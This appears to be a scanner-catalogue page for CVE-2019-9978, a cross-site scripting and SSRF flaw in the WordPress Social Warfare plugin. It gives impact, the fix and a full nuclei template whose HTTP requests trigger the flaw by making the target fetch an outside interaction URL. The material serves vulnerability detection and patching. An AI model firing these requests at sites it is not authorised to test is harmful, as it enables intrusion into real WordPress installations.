WordPress Social Warfare <3.5.3 - Cross-Site Scripting

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

mediumseverity

6.1CVSS score

72.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Social Warfare plugin before 3.5.3 contains a cross-site scripting vulnerability via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, affecting Social Warfare and Social Warfare Pro.

Impact

Attackers can execute arbitrary scripts in admin context, potentially leading to session hijacking or privilege escalation.

Fix

Update to version 3.5.3 or later.

How to confirm it

Send: GET /wp-content/plugins/social-warfare/readme.txt
Positive when: contains "Social Warfare"
Send: GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2019-9978 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9978

info:
  name: WordPress Social Warfare <3.5.3 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: WordPress Social Warfare plugin before 3.5.3 contains a cross-site scripting vulnerability via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, affecting Social Warfare and Social Warfare Pro.
  impact: |
    Attackers can execute arbitrary scripts in admin context, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 3.5.3 or later.
  reference:
    - https://github.com/mpgn/CVE-2019-9978
    - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
    - https://www.pluginvulnerabilities.com/2019/03/21/full-disclosure-of-settings-change-persistent-cross-site-scripting-xss-vulnerability-in-social-warfare/
    - https://www.cybersecurity-help.cz/vdb/SB2019032105
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9978
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-9978
    cwe-id: CWE-79
    epss-score: 0.72946
    epss-percentile: 0.99457
    cpe: cpe:2.3:a:warfareplugins:social_warfare:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: warfareplugins
    product: social_warfare
    framework: wordpress
    fofa-query: body="social-warfare" && body="wp-"
  tags: cve,cve2019,wordpress,wp-plugin,ssrf,kev,warfareplugins,xss,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/social-warfare/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Social Warfare'

  - raw:
      - |
        GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from